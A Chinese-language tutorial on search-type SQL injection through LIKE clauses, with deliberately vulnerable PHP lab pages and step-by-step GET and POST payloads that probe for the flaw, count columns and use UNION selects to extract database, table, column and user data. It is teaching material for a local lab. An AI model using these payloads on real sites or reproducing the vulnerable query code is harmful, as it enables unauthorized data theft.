SQL注入—搜索型

搜索型注入—原理介绍

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在;

其中又分为 POST/GET ,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的 method="get" 属性来区分是get还是post。搜索型注入又称为文本框注入

一般后台搜索组合的SQL语句如下:

$sql = "select * from user where password like '%$pwd%' order by password";

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

ryan'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:

$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";

此时就存在SQL注入。

mysql模糊查询

like 匹配/模糊匹配,会与 %_ 结合使用。

'%a'     //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据
'_a_' //三位且中间字母是a的
'_a' //两位且结尾字母是a的
'a_' //两位且开头字母是a的

查询以 java 字段开头的信息。

SELECT * FROM position WHERE name LIKE 'java%';

查询包含 java 字段的信息。

SELECT * FROM position WHERE name LIKE '%java%';

查询以 java 字段结尾的信息。

SELECT * FROM position WHERE name LIKE '%java';

搜索型注入—注入判断

  1. 搜索 keywords' ,如果出错的话,有90%的可能性存在注入;
  2. 搜索 keywords%' and 1=1 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=1 )看返回情况;
  3. 搜索 keywords%' and 1=2 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=2 )看返回情况;
  4. 根据2和3的返回情况来判断是不是搜索型文本框注入了。

以下几种语句也都可以:

'and 1=1 and '%'='
%' and 1=1 --+'
%' and 1=1 and '%'='

搜索型注入—GET型案例

<?php
header("Content-Type:text/html;charset=utf-8");
$pwd = $_GET['pwd'];
$conn = mysql_connect("127.0.0.1:8889","root","root");
if($conn){
echo "连接数据库成功!";
}
echo "<br>";
mysql_select_db('ryan',$conn);
$sql = "select * from user where password like '%$pwd%' order by password";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo "用户ID:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "用户密码:".$row['password']."<br>";
echo "用户邮箱:".$row['email']."<br>";
}else{
print_r(mysql_error());
}
mysql_close($conn);
echo "<hr>";
echo "你当前执行的sql语句为:"."<br>";
echo $sql; ?>
  1. 访问靶场

  2. 输入正常关键字进行查询

    http://localhost:8888/get.php?pwd=ryan

  3. 加单引号进行尝试

    http://localhost:8888/get.php?pwd=ryan'

    加单引号出现报错,报错中出现 % 号,猜测可能为搜索型注入

  4. 使用以下payload进行测试

    http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'='
    或者
    http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+

    正常显示

  5. 继续尝试以下payload

    http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='

    无内容显示

    通过以上测试,证明存在SQL注入漏洞

  6. 使用 order by 判断列数

    http://localhost:8888/get.php?pwd=ryan%' order by 5 --+

    order by 5时,报错

    http://localhost:8888/get.php?pwd=ryan%' order by 4 --+

    order by 4 时,正常显示

    说明该数据表列数为4

  7. 判断回显位

    http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+

  8. 获取数据库名

    http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+

  9. 获取表名

    http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+

  10. 获取列名

    http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+

  11. 获取数据

    http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+

搜索型注入—POST型案例

<?php
header("Content-Type:text/html;charset=utf-8");
$id = $_POST['id'];
$conn = mysql_connect("127.0.0.1:8889","root","root");
if($conn){
echo "连接数据库成功!";
}
echo "<br>";
mysql_select_db('ryan',$conn);
$sql = "select * from user where id like '%$id%' order by id";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo "用户ID:".$row['id']."<br>";
echo "用户名:".$row['username']."<br>";
echo "用户密码:".$row['password']."<br>";
echo "用户邮箱:".$row['email']."<br>";
}else{
print_r(mysql_error());
}
mysql_close($conn);
echo "<hr>";
echo "你当前执行的sql语句为:"."<br>";
echo $sql; ?> <form action="" method="POST">
id:<input name="id" type="text" /><br><br>
<input name="" type="submit" value="提交" />
</form>
  1. 访问靶场

  2. 正常查询id,使用burp抓包

  3. 加单引号进行尝试

    id=1'

    出现报错,且报错中出现 % 号,猜测是搜索型注入

  4. 使用以下payload进行测试

    id=1%' and 1=1 --+

    正常显示

    id=1%' and 1=2 --+

    无显示,判断存在注入

  5. 使用order by 判断列数

    id=1%' order by 5 --+

    id=1%' order by 4 --+

    说明该表列数为4

  6. 判断回显位

    id=abc%' union select 1,2,3,4 --+

其他操作跟以上GET型案例相同

SQL注入——搜索型的更多相关文章

  1. Sql注入--数字型手工测试

    Sql注入--数字型手工测试 漏洞原因:是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行. 从而 ...

  2. 数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入

    另类登录注入形式: 经常有一类验证(ASP,PHP,JSP均存在),先判断user是否存在,ASP为例子:"select password from admin where user_nam ...

  3. ctfhub sql注入字符型

    手工注入 1, 检查是否存在注入 2.猜字段数.列数 3.获得注入点,数据库名称,数据库版本 4.获得表名 5.获得字段名 6.获得flag sqlmap方法 1.查数据库库名 2.查表名 3.查字段 ...

  4. ctfhub技能树—sql注入—字符型注入

    打开靶机 查看页面信息 查询回显位 查询数据库名(查询所有数据库名:select group_concat(schema_name) from information_schema.schemata) ...

  5. SQL注入漏洞技术的详解

    SQL注入漏洞详解 目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 Up ...

  6. SQL注入漏洞详解

    目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...

  7. SQL注入靶场实战-小白入门

    目录 SQL注入 数字型 1.测试有无测试点 2.order by 语句判断字段长,查出字段为3 3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3) 4.猜数据库名,用户 ...

  8. KPPW2.5 漏洞利用--SQL注入

    KPPW2.5 漏洞利用--SQL注入 SQL注入--布尔型盲注 环境搭建 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面 ...

  9. Sql注入的分类:数字型+字符型

    Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...

  10. SQL注入之PHP-MySQL实现手工注入-字符型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

随机推荐

  1. 用BP软件 批量注册用户

    第五步:查看管理员后台----用户界面, 有没有批量添加进用户

  2. JavaSE线程基础

    1.线程概念 2.线程创建方式 1.继承thread 2.实现runnable runnable使用最多 3.线程的生命周期及线程的状态 新建状态 就绪状态的线程(已获得所有资源,栈堆内存空间),即s ...

  3. AI 协助办公 |记一次用 GPT-4 写一个消息同步 App

    GPT-4 最近风头正劲,作为 NebulaGraph 的研发人员的我自然是跟进新技术步伐.恰好,现在有一个将 Slack channel 消息同步到其他 IM 的需求,看看 GPT-4 能不能帮我完 ...

  4. 手记系列之六 ----- 分享个人使用kafka经验

    前言 本篇文章主要介绍的关于本人从刚工作到现在使用kafka的经验,内容非常多,包含了kafka的常用命令,在生产环境中遇到的一些场景处理,kafka的一些web工具推荐等等.由于kafka这块的记录 ...

  5. TiDB简介与应用场景

    引言 在当今互联网时代,数据的规模和复杂性不断增长,传统关系型数据库面临着无法满足高并发和大规模数据存储需求的挑战.为了解决这一问题,开源社区涌现出了一系列分布式数据库解决方案,其中TiDB作为一种新 ...

  6. 【TVM模型编译】2. relay算子构造.md

    从TVM的官方Tutorial里面,介绍了如何新增自定义算子.(这是我翻译的) 之前的文章讲到了onnx 算子转换到Relay IR的过程 下面以Conv2d算子介绍,编译过程中 Relay IR是如 ...

  7. you-get的使用

    转载自: 利用Python下载:You-Get的安装及使用方法 - 宁佳兵 - 博客园   宁佳兵 所谓的光辉岁月,并不是后来闪耀的日子,而是无人问津时,对梦想的偏执. 博客园 首页 标签 GitHu ...

  8. Lock同步_小记

    使用同步机制的这种方式解决线程安全问题,但是不知道具体的锁对象在哪里添加,并且锁对象在哪里释放锁对象,对于这种情况Jdk5以后Java提供了一个更具体的锁对象:Lock Lock 实现提供了比使用 s ...

  9. linux基础命令及常用命令总结

    1.ls命令 ls命令是最基础的命令之一,作用是列出当前目录下所有的文件和目录.ls命令有很多选项可以使用,比较常用的是-l选项,可以以详细信息的形式列出所有文件和目录的信息. 示例:列出当前目录下的 ...

  10. Java计算日期之间相差时间和解决浮点类型精度过长

    计算日期之间相差 此处相差计算以分钟为单位,自行可根据业务场景更改 /** * 测试时间相差分钟 */ @Test public void getTime() { SimpleDateFormat s ...